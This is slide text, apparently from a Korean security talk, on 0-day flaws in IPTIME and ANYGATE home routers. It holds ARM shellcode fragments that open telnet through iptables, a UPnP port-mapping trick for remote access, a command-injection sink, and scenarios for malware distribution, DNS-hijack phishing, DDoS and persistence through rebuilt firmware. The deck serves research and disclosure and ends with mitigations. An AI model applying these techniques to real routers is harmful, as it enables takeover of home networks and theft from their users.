  • 34. ① 취약점 발견 – 버퍼 오버플로우 Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC PC 레지스터 : 다음 실행할 명령어의 위치 프로그램 흐름을 원하는 곳으로 이동시킬 수 있다. GOOD!!! IPTIME 0-Day 취약점
  • 35. ① 취약점 발견 – 버퍼 오버플로우 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC utelnetd 구동 , iptables 에서 telnet 허용 쉘코드 쉘코드를 어디에 올릴 것인가? User-Agent : CGI 는 환경변수에 HTTP 데이터를 저장한다. IPTIME 0-Day 취약점
  • 36. ① 취약점 발견 – 버퍼 오버플로우 IPTIME 0-Day 취약점 add r1, pc, #96 add r2, pc, #107 add r3, pc, #106 add r4, pc, #108 add r5, pc, #107 add r6, pc, #107 add r7, pc, #111 add r8, pc, #110 add r9, pc, #109 .ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF" .ascii "tcpF" .ascii "--dportF" .ascii "23F" .ascii "-jF" .ascii "ACCEPTF"
  • 37. ① 취약점 발견 – 버퍼 오버플로우 IPTIME 0-Day 취약점 stmfd sp!, {r1-r9 ,lr} mov r0, r1 , lsl lr mov r1, sp mov r2, lr swi 0x90ff0b add r8, pc , #12 strb lr, [r8 , #1] Swi 0x90000b Execve 첫번 째 인자 Execve 두번 째 인자 execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL) Execve 세번 째 인자
  • 38. ② 모의 공격 • 취약점 발견과 공격코드 구상 • 공유기 시스템 내부 쉘이 있으면 동적 디버깅 가능 • 공격에 필요한 각종 테스트를 해야 함 gdb , strace , busybox 등 크로스 컴파일 해서 업로드 • 공격코드 완성 , 테스트 IPTIME 0-Day 취약점
  • 39. ② 모의 공격 DEMO IPTIME 0-Day 취약점
  • 40. ③ 공격 악의적인 사용자 TARGET 잠재적 피해자들 인터넷 공유기 패스워드 물리적으로 근접 공격 공격에 필요한 조건 IPTIME 0-Day 취약점
  • 41. ③ 공격 TARGET 잠재적 피해자들 인터넷 공격 악의적인 사용자 공격에 필요한 조건 공유기의 아이피 IPTIME 0-Day 취약점
  • 42. ③ 공격 - uPnP IPTIME 0-Day 취약점 • 홈네트워크에서의 기기 간 인식, 통신 프로토콜
  • 43. ③ 공격 - uPnP IPTIME 0-Day 취약점 공유기에 포트매핑 요청 XML 형태로 통신
  • 44. ③ 공격 - uPnP IPTIME 0-Day 취약점 외부 uPnP 요청 허용 외부에서 원하는 포트로 접근가능 ( 80, 23)
  • 45. ③ 공격 - uPnP IPTIME 0-Day 취약점 # telnet 공유기IP uPnP_Port
  • 46. ③ 공격 - uPnP TARGET 잠재적 피해자들 인터넷 80 포트 uPnP 요청 악의적인 사용자 23 포트 uPnP 요청취약점 공격공유기 텔넷접속 가능 IPTIME 0-Day 취약점
  • 47. ③ 공격 – Remote Attack DEMO IPTIME 0-Day 취약점
  • 49. ANYGATE 0-Day 취약점 악의적인 사용자 TARGET TARGET과 동일한 공유기 공격 잠재적 피해자들 취약점 발견모의 공격 ①② ③ ④ IPTIME 때와 동일
  • 50. ① 취약점 발견 악의적인 사용자 TARGET과 동일한 공유기 모의 공격 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법 1. 공식 홈페이지에서 최신펌웨어 다운로드 2. MCU의 JTAG 포트를 이용한 DUMP 3. Flash 메모리 분리 후 DUMP ANYGATE 0-Day 취약점
  • 51. ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 • 인증절차 없이 내부 명령 실행 가능 • iptables , ifconfig , ping 만 지원
  • 52. ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 • 인증절차 없이 내부 명령 실행 가능 • iptables , ifconfig , ping 만 지원
  • 53. ANYGATE 0-Day 취약점 2) 특정 설정 페이지 내부 명령 실행 가능 취약점 sprintf(&src, "-S gnudip -u %s:%s -h %s -s %s -r 10&", dword_3AC8D + 34052, dword_3AC8D + 34072, dword_3AC8D + 34092,); strcat(&szCMD, &src); sub_14CAC("%sn", &szCMD); system(&szCMD); 임의의 명령을 삽입하는 것이 가능
  • 54. ANYGATE 0-Day 취약점 3) 버퍼오버플로우 취약점
  • 56. 공유기 취약점 악용 시나리오 1) Packet Sniffing & Spoofing(악성코드 유포) www.good.site/music/song.mp3 www.attacker.com/malware.exe
  • 57. 2) 피싱 (DNS Hijacking) www.hanabank.com www.phising.com ID , PW 입력 공유기 취약점 악용 시나리오
  • 58. 3) 사내 보안 문제 사장 과장 대리 개발팀 영업팀 인사팀 사내 인트라넷 공유기 취약점 악용 시나리오 사원
  • 59. 4) 경유지 (VPN, Port Fowarding) 공격 대상 사이트 공유기 취약점 악용 시나리오 추적이 어려워짐
  • 60. 5) DDOS 공유기 취약점 악용 시나리오
  • 61. 5) DDOS 공격 대상 사이트 공유기 취약점 악용 시나리오
  • 62. 공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함. 1. 재부팅 리셋 해커가 펌웨어의 Init script 들을 수정하여 telnet , 포트매핑 등을 부팅 시에 자동으로 수행하게끔 펌웨어 리빌드 관리자 페이지에 접근이 가능하므로, 조작된 펌웨어를 수동업데이트
  • 63. 공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함. 웹인터페이스의 업데이트 페이지를 수정하여 실제로 업데이트는 일어나지 않도록 조작 2. 펌웨어 업데이트 - 수동업데이트
  • 64. 공유기 취약점 악용 시나리오 6) 영구 장악 2. 펌웨어 업데이트 - 자동업데이트 업데이트 시도 공식사이트 펌웨어 업데이트 서버 해커가 조작한 펌웨어 업데이트 서버 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함.
  • 65. 대응 방안 및 향후 연구 계획
  • 66. • 펌웨어 개발 시, 보안 프로그래밍 strcpy , sprintf , system 등과 같은 함수들은 주의해서 사용한다. 또한 설정 상 보안에 문제가 될 수 있는 부분들을 제거한다. • 사용자의 공유기에 대한 보안 의식 강화 ex> uPnP 서비스 강제 중단 • uPnP 의 외부 연결 차단 , 공유기 자체인 localhost로의 포워딩 차단 1. 대응 방안 2. 향후 연구 계획 • 공유기가 TCP/IP , UDP 등 Low Level 프로토콜을 처리하면서 발생할 수 있는 취약점 연구 • 커스터마이징된 기능들에서 발생하는 취약점 게임기 지원 , VPN , QOS 등..